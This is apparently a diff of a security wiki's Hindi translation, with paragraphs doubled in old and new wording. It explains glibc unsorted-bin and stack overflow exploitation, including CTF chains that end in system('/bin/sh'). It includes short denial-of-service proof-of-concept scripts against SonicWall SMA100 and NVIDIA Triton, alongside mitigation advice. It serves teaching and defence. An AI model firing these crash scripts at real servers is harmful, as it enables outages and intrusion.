- अगर आप आगे allocations करने की योजना बना रहे हैं और प्रोग्राम unsorted bin का उपयोग करता है, तो उम्मीद रखें कि बाद में allocator `*(TARGET) = unsorted_chunks(av)` सेट कर देगा। दोनों मान आमतौर पर बड़े होते हैं और उन targets में size/limit semantics बदलने के लिए पर्याप्त हो सकते हैं जो केवल "big" की जाँच करते हैं।
- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
Pseudocode skeleton:
```c
@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
```
> [!NOTE]
> • यदि आप size से tcache को बाइपास नहीं कर पाते हैं, तो चुने गए आकार के लिए tcache bin को भरें (7 frees) पहले corrupted chunk को free करने से पहले ताकि free unsorted में जाए।
> • यदि अगली allocation पर unsorted-bin checks के कारण प्रोग्राम तुरंत abort कर देता है, तो फिर जांचें कि `victim->fd` अभी भी bin head के बराबर है और आपका `TARGET` पहले write के बाद ठीक वही `victim` pointer रखता है।
> • अगर आप size से tcache को bypass नहीं कर पा रहे हैं, तो corrupted chunk को free करने से पहले चुने हुए size की tcache bin को भर दें (7 frees) ताकि free unsorted में जाए।
> • अगर program अगली allocation पर तुरंत unsorted-bin checks के कारण abort कर देता है, तो फिर जाँच करें कि `victim->fd` अभी भी bin head के बराबर है और आपका `TARGET` पहले write के बाद exact `victim` pointer रखता है।
## Unsorted Bin Infoleak Attack
यह वास्तव में एक बहुत ही बुनियादी अवधारणा है। unsorted bin में जो chunks होते हैं उनमें pointers होते हैं। unsorted bin का पहला chunk वास्तव में **`fd`** और **`bk`** links रखेगा जो **main arena (Glibc)** के एक हिस्से की ओर इशारा करते हैं.\
इसलिए, यदि आप **एक chunk को unsorted bin में रखकर और उसे पढ़कर** (use after free) या **कम से कम 1 pointer को overwrite किए बिना उसे फिर से allocate करके** और फिर **पढ़कर** देख सकें, तो आप **Glibc info leak** प्राप्त कर सकते हैं।
यह वास्तव में एक बहुत बुनियादी अवधारणा है। unsorted bin में मौजूद chunks में pointers होते हैं। unsorted bin का पहला chunk वास्तव में **`fd`** और **`bk`** लिंक रखेगा जो **main arena (Glibc)** के किसी हिस्से की ओर इशारा करते हैं।\
इसलिए, अगर आप **कोई chunk unsorted bin में डालकर उसे पढ़ सकते हैं** (use after free) या **कम से कम 1 pointer को overwrite किए बिना उसे फिर से allocate करके पढ़ सकें**, तो आपको **Glibc info leak** मिल सकता है।
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), था 4 chunks संरचना (A, B, C और D - D केवल top chunk के साथ consolidation रोकने के लिए) का दुरुपयोग करना, इसलिए B में null byte overflow का इस्तेमाल करके C को यह दिखाने के लिए किया गया कि B unused है। साथ ही, B में `prev_size` डेटा को modify किया गया ताकि size B के आकार की बजाय A+B हो।\
फिर C को deallocate किया गया, और A+B के साथ consolidate किया गया (लेकिन B अभी भी इस्तेमाल में था)। A के आकार का नया chunk allocate किया गया और फिर libc leaked addresses को B में लिखा गया जहाँ से वे leak हुए थे।
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), था 4 chunks की संरचना (A, B, C और D - D केवल top chunk के साथ consolidation को रोकने के लिए) का दुरुपयोग, जहां B में एक null byte overflow का उपयोग किया गया ताकि C यह दर्शाए कि B unused था। साथ ही, B में `prev_size` डेटा को modify किया गया ताकि size B के size के बजाय A+B दिखे।\
फिर C को deallocated किया गया और A+B के साथ consolidated किया गया (लेकिन B अभी भी use में था)। A के size का एक नया chunk allocate किया गया और फिर libc leaked addresses को B में लिखा गया, जहाँ से वे leak हुए थे।
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- लक्ष्य यह है कि एक global variable को 4869 से बड़ा मान देकर overwrite किया जाए ताकि flag प्राप्त करना संभव हो और PIE enabled न हो।
- किसी भी इच्छित आकार के chunks generate करना संभव है और वहाँ heap overflow मौजूद है जिसकी आकांक्षित size है।
- हमला 3 chunks बनाकर शुरू होता है: chunk0 overflow को abuse करने के लिए, chunk1 जिसे overflow किया जाएगा और chunk2 ताकि top chunk पिछले chunks को consolidate न करे।
- फिर, chunk1 को free किया जाता है और chunk0 को overflow किया जाता है ताकि chunk1 का `bk` pointer इस पर प्वाइंट करे: `bk = magic - 0x10`
- फिर, chunk3 को chunk1 के समान size के साथ allocate किया जाता है, जो unsorted bin attack को trigger करेगा और global variable का मान modify कर देगा, जिससे flag प्राप्त करना संभव हो जाएगा।
- लक्ष्य एक global variable को 4869 से बड़े मान से overwrite करना है ताकि flag प्राप्त करना संभव हो और PIE enabled नहीं हो।
- arbitrary sizes के chunks generate करना संभव है और desired size के साथ एक heap overflow मौजूद है।
- हमला 3 chunks बनाकर शुरू होता है: chunk0 overflow को abuse करने के लिए, chunk1 जिसे overflow किया जाएगा और chunk2 ताकि top chunk पिछले ones को consolidate न करे।
- फिर chunk1 को freed किया जाता है और chunk0 को overflow किया जाता है ताकि chunk1 का `bk` pointer इस तरफ इशारा करे: `bk = magic - 0x10`
- फिर chunk3 को chunk1 के समान size से allocate किया जाता है, जो unsorted bin attack को trigger करेगा और global variable का मान modify करेगा, जिससे flag मिलना संभव हो जाएगा।
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- merge function vulnerable है क्योंकि यदि दोनों पास किए गए indexes एक ही हों तो यह उस पर realloc करेगा और फिर उसे free कर देगा पर freed region का pointer return करेगा जिसे उपयोग किया जा सकता है।
- इसलिए, **2 chunks बनाए जाते हैं**: **chunk0** जिसे self के साथ merge किया जाएगा और chunk1 ताकि top chunk के साथ consolidation न हो। फिर, **merge function को chunk0 के साथ** दो बार कॉल किया जाता है जिससे use after free होगा।
- फिर, **`view`** function को index 2 के साथ कॉल किया जाता है (जो use after free chunk का index है), जो **libc address leak** करेगा।
- चूंकि binary में protections हैं जो केवल `global_max_fast` से बड़े sizes को malloc करने की अनुमति देते हैं इसलिए कोई fastbin इस्तेमाल नहीं होता, एक unsorted bin attack का उपयोग किया जाएगा ताकि global variable `global_max_fast` को overwrite किया जा सके।
- फिर, edit function को index 2 (use after free pointer) के साथ कॉल किया जा सकता है और `bk` pointer को overwrite करके `p64(global_max_fast-0x10)` की ओर प्वाइंट कराया जा सकता है। फिर, एक नया chunk बनाना पहले compromised free address (0x20) का उपयोग करेगा और यह **unsorted bin attack** को trigger करेगा जिससे `global_max_fast` overwrite हो जाएगा जिससे बहुत बड़ा मान बन जाएगा और अब fast bins में chunks बनाना संभव होगा।
- merge function vulnerable है क्योंकि अगर दोनों पास किए गए indexes एक ही हैं तो यह उस पर realloc करेगा और फिर उसे free करेगा पर freed region का pointer वापस करेगा जिसे reuse किया जा सकता है।
- इसलिए, **2 chunks बनाए जाते हैं**: **chunk0** जिसे खुद के साथ merge किया जाएगा और chunk1 ताकि top chunk के साथ consolidate न हो। फिर, **merge function को chunk0 के साथ** दो बार कॉल किया जाता है जिससे use after free होगा।
- फिर, **`view`** function को index 2 के साथ बुलाया जाता है (जो use after free chunk का index है), जो एक libc address leak करेगा।
- चूँकि binary में protections हैं ताकि केवल `global_max_fast` से बड़े sizes ही malloc हों और इसलिए कोई fastbin use न हो, तो unsorted bin attack का उपयोग करके global variable `global_max_fast` को overwrite किया जाएगा।
- फिर, edit function को index 2 (use after free pointer) के साथ कॉल करना संभव है और `bk` pointer को `p64(global_max_fast-0x10)` की ओर overwrite किया जा सकता है। फिर, नया chunk बनाना previously compromised free address (0x20) का उपयोग करेगा और यह **unsorted bin attack** को trigger करेगा, `global_max_fast` को एक बहुत बड़े मान से overwrite करते हुए, जिससे अब fast bins में chunks बनाना संभव हो जाएगा।
- अब एक **fast bin attack** किया जाता है:
- सबसे पहले पता चलता है कि `__free_hook` location में fast **chunks of size 200** के साथ काम करना संभव है:
- सबसे पहले यह पाया गया कि fast **chunks of size 200** को `__free_hook` स्थान में काम में लाया जा सकता है:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -115,17 +115,17 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- यदि हम इस location में size 0x200 का एक fast chunk प्राप्त करने में सफल होते हैं, तो यह एक function pointer को overwrite करने में सक्षम होगा जो execute होगा।
- इसके लिए, size `0xfc` का एक नया chunk बनाया जाता है और उस pointer के साथ merged function को दो बार कॉल किया जाता है, इस तरह हमें fast bin में size `0xfc*2 = 0x1f8` का freed chunk का pointer मिलता है।
- फिर, edit function को इस chunk में कॉल किया जाता है ताकि इस fast bin के **`fd`** address को पिछले **`__free_hook`** function की ओर point करने के लिए modify किया जा सके।
- फिर, size `0x1f8` का एक chunk बनाया जाता है ताकि fast bin से पिछला बेकार chunk निकाला जा सके, फिर एक और size `0x1f8` का chunk बनाया जाता है ताकि `__free_hook` में एक fast bin chunk मिल सके जिसे **`system`** function के address से overwrite किया जाता है।
- और अंत में `/bin/sh\x00` string वाला एक chunk free किया जाता है delete function को कॉल करके, जिससे **`__free_hook`** trigger होता है जो कि system की ओर point करता है और `/bin/sh\x00` को parameter के रूप में देता है।
- अगर हम इस स्थान पर size 0x200 का एक fast chunk पा लें, तो किसी function pointer को overwrite करना संभव होगा जो execute होगा।
- इसके लिए, एक नया chunk size `0xfc` का बनाया गया और merged function को उस pointer के साथ दो बार कॉल किया गया, इस तरह हमें fast bin में size `0xfc*2 = 0x1f8` का freed chunk का pointer मिला।
- फिर, edit function को इस chunk पर बुलाया गया ताकि fast bin के इस chunk का **`fd`** address previous `__free_hook` function की तरफ point करे।
- फिर, size `0x1f8` का एक chunk बनाया जाता है ताकि fast bin से previous useless chunk मिल सके और फिर एक और size `0x1f8` का chunk बनाकर fast bin में `__free_hook` स्थान पर chunk प्राप्त किया जाता है और वहां `system` function के address से overwrite कर दिया जाता है।
- और अंत में `/bin/sh\x00` string वाला एक chunk बनाया जाता है और delete function द्वारा free किया जाता है, जिससे `__free_hook` function trigger होता है जो अब system की ओर इशारा करता है और `/bin/sh\x00` उसे parameter के रूप में मिलता है।
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- 1B overflow का दुरुपयोग करके chunks को unsorted bin में consolidate कर के libc infoleak हासिल करने और फिर malloc hook को one gadget address से overwrite करने के लिए fast bin attack करने का एक और उदाहरण।
- 1B overflow का दुरुपयोग करके chunks को unsorted bin में consolidate करके libc infoleak प्राप्त करने और फिर malloc hook को एक one gadget address से overwrite करने के लिए fast bin attack करने का एक और उदाहरण।
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- हम केवल `0x100` से बड़े आकार के chunks ही allocate कर सकते हैं।
- Unsorted Bin attack का उपयोग करके `global_max_fast` को overwrite करें (ASLR के कारण यह 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स modify करने की जरूरत है, पर हमें 16 बिट्स modify करने होंगे)।
- Fast Bin attack से एक global array of chunks को modify किया जाता है। इससे एक arbitrary read/write primitive मिल जाता है, जो GOT को modify करने और किसी function को `system` की ओर point कराने की अनुमति देता है।
- हम केवल `0x100` से बड़े sizes के chunks ही allocate कर सकते हैं।
- Unsorted Bin attack का उपयोग करके `global_max_fast` को overwrite करें (ASLR के कारण यह 1/16 बार काम करता है, क्योंकि हमें 12 bits बदलने की ज़रूरत है, पर वास्तव में 16 bits बदलने होंगे)।
- Fast Bin attack करके एक global array of chunks को modify किया जाता है। इससे एक arbitrary read/write primitive मिलता है, जो GOT को modify करने और किसी function को `system` की ओर निर्देशित करने की सुविधा देता है।
## References

85
src/binary-exploitation/stack-overflow/README.md
View File

@ -4,15 +4,15 @@
## Stack Overflow क्या है
A **stack overflow** एक ऐसी vulnerability है जो तब होती है जब कोई प्रोग्राम stack में उस मात्रा से अधिक डेटा लिख देता है जितना उसे होल्ड करने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **adjacent memory space को overwrite** कर देगा, जिससे वैध डेटा का भ्रष्ट होना, control flow का बाधित होना, और संभावित रूप से malicious code का execution हो सकता है। यह समस्या अक्सर unsafe functions के उपयोग के कारण आती है जो इनपुट पर bounds checking नहीं करते।
A **stack overflow** एक vulnerability है जो तब होती है जब कोई program stack में उस से अधिक data लिख देता है जितना उसके लिए allocate किया गया है। यह अतिरिक्त data **overwrite adjacent memory space** कर देगा, जिससे valid data का corruption, control flow में बाधा, और संभावित रूप से malicious code का execution हो सकता है। यह समस्या अक्सर unsafe functions के इस्तेमाल के कारण होती है जो input पर bounds checking नहीं करते।
मुख्य समस्या इस overwrite की यह है कि **saved instruction pointer (EIP/RIP)** और **saved base pointer (EBP/RBP)**, जो previous function पर लौटने के लिए उपयोग होते हैं, **stack पर stored** होते हैं। इसलिए, एक attacker उनको overwrite कर सकेगा और प्रोग्राम के execution flow को **control** कर सकेगा।
इस overwrite की मुख्य समस्या यह है कि **saved instruction pointer (EIP/RIP)** और वह **saved base pointer (EBP/RBP)** जो previous function पर लौटने के लिए होते हैं, **stack पर stored** होते हैं। इसलिए, एक attacker उनको overwrite करके प्रोग्राम के execution flow को **control the execution flow of the program** कर सकेगा।
यह vulnerability आमतौर पर इसलिए उत्पन्न होती है क्योंकि कोई function **stack के अंदर उस के लिए आवंटित मात्रा से अधिक bytes copy करता है**, जिससे वह स्टैक के अन्य हिस्सों को overwrite करने में सक्षम हो जाता है।
यह vulnerability आमतौर पर तब उत्पन्न होती है जब कोई function **stack के अंदर allocated मात्रा से अधिक bytes copy कर देता है**, जिससे वह stack के अन्य हिस्सों को overwrite कर सकता है।
कुछ सामान्य functions जो इस के लिए vulnerable हो सकते हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... साथ ही, ऐसे functions जैसे **`fgets`**, **`read`** और **`memcpy`** जो एक **length argument** लेते हैं, यदि निर्दिष्ट length आवंटित मात्रा से अधिक हो तो vulnerable तरीके से उपयोग किए जा सकते हैं।
कुछ सामान्य functions जो इस के प्रति vulnerable होते हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... साथ ही, ऐसे functions जैसे **`fgets`**, **`read`** & **`memcpy`** जो एक **length argument** लेते हैं, vulnerable तरीके से इस्तेमाल किए जा सकते हैं अगर निर्दिष्ट length allocated से अधिक हो।
For example, the following functions could be vulnerable:
उदाहरण के लिए, निम्नलिखित functions vulnerable हो सकते हैं:
```c
void vulnerable() {
char buffer[128];
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Stack Overflows offsets ढूँढना
### Finding Stack Overflows offsets
Stack overflows खोजने का सबसे सामान्य तरीका बहुत बड़ा `A` इनपुट देना है (उदा. `python3 -c 'print("A"*1000)'`) और फिर `Segmentation Fault` की उम्मीद करना है, जो यह दर्शाता है कि **address `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
इसके अलावा, एक बार जब आप पाते हैं कि Stack Overflow vulnerability है, तो आपको वह offset ढूँढना होगा जहाँ तक कि **return address को overwrite करना** संभव हो; इसके लिए आमतौर पर **De Bruijn sequence** का उपयोग किया जाता है। दिए गए alphabet के आकार _k_ और subsequences की लंबाई _n_ के लिए यह एक **cyclic sequence है जिसमें हर संभव subsequence जिसकी लंबाई _n_ है, बिल्कुल एक बार** contiguous subsequence के रूप में दिखाई देता है।
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence.
इस तरह, हाथ से यह पता लगाने की बजाय कि EIP को control करने के लिए कौन सा offset चाहिए, आप padding के रूप में इन sequences में से एक का उपयोग कर सकते हैं और फिर उन bytes का offset पता लगा सकते हैं जिन्होंने अंततः उसे overwrite कर दिया।
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
इसके लिए **pwntools** का उपयोग किया जा सकता है:
It's possible to use **pwntools** for this:
```python
from pwn import *
@ -48,12 +48,13 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Stack Overflows का शोषण
## Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to **ओवरराइट** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **रिटर्न एड्रेस को मॉडिफाइ करना** ताकि जब फ़ंक्शन समाप्त हो तो **कंट्रोल फ्लो उस प्वाइंटर में यूज़र द्वारा निर्धारित जगह पर रीडायरेक्ट हो जाए**।
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
सबसे सामान्य तरीका इस प्रकार की vulnerability का दुरुपयोग करने का यह है कि आप **return address को modify** कर दें ताकि जब function समाप्त हो तो **control flow उस पते पर redirect हो जाए जिसे attacker ने निर्दिष्ट किया है**।
हालाँकि, अन्य परिदृश्यों में सिर्फ़ स्टैक में कुछ वेरिएबल्स के मान **ओवरराइट** करना ही exploit के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).\
हालाँकि, अन्य परिस्थितियों में सिर्फ stack में कुछ variables के मान **overwrite** कर देना exploit के लिए पर्याप्त हो सकता है (जैसे आसान CTF challenges में)।
### Ret2win
@ -66,7 +67,8 @@ ret2win/
### Stack Shellcode
इस परिदृश्य में हमलावर स्टैक में shellcode रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके shellcode पर कूदकर arbitrary code निष्पादित कर सकता है:
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:\
इस स्थिति में attacker stack में shellcode रख सकता है और controlled EIP/RIP का उपयोग करके shellcode पर jump कर arbitrary code execute करवा सकता है:
{{#ref}}
@ -75,7 +77,8 @@ stack-shellcode/
### Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.\
32-bit Windows पर, overflow saved return address के बजाय Structured Exception Handler (SEH) chain को overwrite कर सकता है। Exploitation आम तौर पर SEH pointer को एक POP POP RET gadget से replace करता है और 4-byte nSEH field का उपयोग एक short jump के लिए करता है ताकि वह बड़े buffer में वापस pivot कर सके जहाँ shellcode मौजूद है। एक सामान्य पैटर्न यह है कि nSEH में छोटा jmp होता है जो nSEH के ठीक पहले रखे गए 5-byte near jmp पर land करता है ताकि payload की शुरुआत तक सैकड़ों bytes पीछे कूदा जा सके।
{{#ref}}
@ -84,7 +87,8 @@ windows-seh-overflow.md
### ROP & Ret2... techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:\
यह technique पुराने तरीके की मुख्य सुरक्षा को bypass करने के लिए मूल framework है: **No executable stack (NX)**। और यह कई अन्य techniques (ret2lib, ret2syscall...) करने की अनुमति देता है जो binary में मौजूद instructions का दुरुपयोग कर arbitrary commands execute करवा देंगी:
{{#ref}}
@ -93,7 +97,8 @@ This technique is the fundamental framework to bypass the main protection to the
## Heap Overflows
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
An overflow is not always going to be in the stack, it could also be in the **heap** for example:\
Overflow हमेशा stack में ही नहीं होता, यह उदाहरण के तौर पर **heap** में भी हो सकता है:
{{#ref}}
@ -102,7 +107,8 @@ An overflow is not always going to be in the stack, it could also be in the **he
## Types of protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:\
विभिन्न protections मौजूद हैं जो vulnerabilities के exploitation को रोकने की कोशिश करती हैं; इन्हें नीचे देखें:
{{#ref}}
@ -111,7 +117,8 @@ There are several protections trying to prevent the exploitation of vulnerabilit
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why **`sscanf` को अनट्रस्टेड इनपुट पार्स करने के लिए कभी भरोसा नहीं किया जाना चाहिए** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.\
यह एक अच्छा उदाहरण है कि क्यों **`sscanf` को untrusted input parsing के लिए कभी भरोसा नहीं किया जाना चाहिए** — यह मामला 2025 में SonicWall के SMA100 SSL-VPN appliance में सामने आया।
The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`:
```c
char version[3];
@ -120,25 +127,25 @@ char endpoint[0x800] = {0};
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. पहला conversion (`%2s`) सुरक्षित रूप से `version` में **दो** bytes स्टोर करता है (उदा. `"v1"`).
2. दूसरा conversion (`%s`) **कोई length specifier नहीं** है, इसलिए `sscanf` **पहले NUL byte** तक कॉपी करना जारी रखेगा।
3. क्योंकि `endpoint` **stack** पर स्थित है और **0x800 bytes long** है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह corrupt हो जाएगा ‑ इसमें **stack canary** और **saved return address** भी शामिल हैं।
2. दूसरा conversion (`%s`) **कोई length specifier नहीं रखता**, इसलिए `sscanf` **पहले NUL byte तक** कॉपी करता रहेगा।
3. क्योंकि `endpoint` **stack** पर स्थित है और इसकी लंबाई **0x800 bytes** है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह corrupt हो जाता है ‑ जिसमें **stack canary** और **saved return address** भी शामिल हैं।
एक single-line proof-of-concept क्रैश को ट्रिगर करने के लिए पर्याप्त है, और यह कर देता है **authentication से पहले**:
एक single-line proof-of-concept authentication से पहले crash trigger करने के लिए पर्याप्त है:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
हालाँकि stack canaries प्रक्रिया को रोक देते हैं, एक हमलावर फिर भी एक **Denial-of-Service** primitive हासिल कर लेता है (और, अतिरिक्त information leaks के साथ, संभवतः code-execution)। सबक सरल है:
हालाँकि stack canaries प्रक्रिया को abort कर देते हैं, attacker फिर भी एक **Denial-of-Service** primitive हासिल कर लेता है (और अतिरिक्त information leaks के साथ, संभवतः code-execution)। सबक सरल है:
* हमेशा एक **अधिकतम फ़ील्ड चौड़ाई** प्रदान करें (उदा. `%511s`)।
* ऐसे सुरक्षित विकल्पों को प्राथमिकता दें जैसे `snprintf`/`strncpy_s`।
* हमेशा एक **maximum field width** प्रदान करें (उदा. `%511s`)।
* ऐसे सुरक्षित विकल्पों को प्राथमिकता दें: `snprintf`/`strncpy_s`।
### वास्तविक दुनिया का उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
### वास्तविक उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) में इसके HTTP API के माध्यम से पहुँचने योग्य कई **stack-based overflows** थे।
यह कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई देता था:
NVIDIA का Triton Inference Server (≤ v25.06) में कई **stack-based overflows** थे जो इसके HTTP API के माध्यम से पहुँच योग्य थे।
यह कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई दिया:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -148,11 +155,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) वर्तमान HTTP request body को बनाकर रखने वाले **आंतरिक बफर सेगमेंट्स की संख्या** लौटाता है।
2. प्रत्येक सेगमेंट `alloca()` के माध्यम से **stack** पर एक **16-byte** `evbuffer_iovec` आवंटित करवा देता है – **बिना किसी ऊपरी सीमा के**।
3. **HTTP _chunked transfer-encoding_** का दुरुपयोग करके, एक client अनुरोध को **सैकड़ों-हज़ारों 6-byte chunks** (`"1\r\nA\r\n"`) में विभाजित करने के लिए मजबूर कर सकता है। इससे `n` अनियंत्रित रूप से बढ़ता जाता है जब तक **stack** समाप्त न हो जाए।
1. `evbuffer_peek` (libevent) वर्तमान HTTP request body को बनाने वाले **आंतरिक बफ़र सेगमेंट्स की संख्या** लौटाता है.
2. प्रत्येक सेगमेंट `alloca()` के माध्यम से **stack** पर एक **16-byte** `evbuffer_iovec` को आवंटित कराता है – **कोई ऊपरी सीमा नहीं**.
3. दुरुपयोग करके **HTTP _chunked transfer-encoding_**, एक क्लाइंट अनुरोध को **सैकड़ों-हज़ारों 6-byte खंडों** (`"1\r\nA\r\n"`) में बाँटने को मजबूर कर सकता है। यह `n` को बिना सीमा के बढ़ा देता है जब तक कि **stack** समाप्त न हो जाए.
#### प्रूफ-ऑफ-कॉन्सेप्ट (DoS)
#### प्रूफ-ऑफ़-कॉन्सेप्ट (DoS)
```python
#!/usr/bin/env python3
import socket, sys
@ -176,10 +183,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
एक ~3 MB request default build पर saved return address को overwrite करके daemon को **crash** करने के लिए पर्याप्त है।
लगभग 3 MB की एक request saved return address को overwrite करने और default build पर daemon को **क्रैश** करने के लिए पर्याप्त है।
#### पैच और निवारण
25.07 रिलीज़ unsafe stack allocation को **heap-backed `std::vector`** से बदलती है और `std::bad_alloc` को सही तरीके से संभालती है:
25.07 release असुरक्षित stack allocation को **heap-backed `std::vector`** से बदलता है और `std::bad_alloc` को सहजता से हैंडल करता है:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -189,10 +196,10 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
सीखे गए सबक:
* कभी भी attacker-controlled sizes के साथ `alloca()` को कॉल न करें।
* Chunked requests सर्वर-साइड बफर्स के आकार को नाटकीय रूप से बदल सकते हैं।
* client input से प्राप्त किसी भी value को memory allocations में उपयोग करने से *पहले* validate / cap करें।
सीखे गए पाठ:
* कभी `alloca()` को attacker-controlled sizes के साथ कॉल न करें।
* Chunked requests सर्वर-side buffers के आकार को नाटकीय रूप से बदल सकते हैं।
* client input से प्राप्त किसी भी value को memory allocations में उपयोग करने से *पहले* Validate / cap करें।
## संदर्भ
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)

67
src/binary-exploitation/stack-overflow/stack-shellcode/README.md
View File

@ -4,11 +4,11 @@
## बुनियादी जानकारी
**Stack shellcode** एक तकनीक है जो **binary exploitation** में इस्तेमाल होती है, जहाँ एक हमलावर vulnerable प्रोग्राम के stack पर shellcode लिखता है और फिर Instruction Pointer (IP) या Extended Instruction Pointer (EIP) को इस shellcode के पते पर बदल देता है, जिससे वह execute हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या arbitrary commands execute करने का एक क्लासिक तरीका है। नीचे प्रक्रिया का विवरण दिया गया है, जिसमें एक सरल C उदाहरण और यह दिखाया गया है कि आप Python के साथ **pwntools** का उपयोग करके संबंधित exploit कैसे लिख सकते हैं।
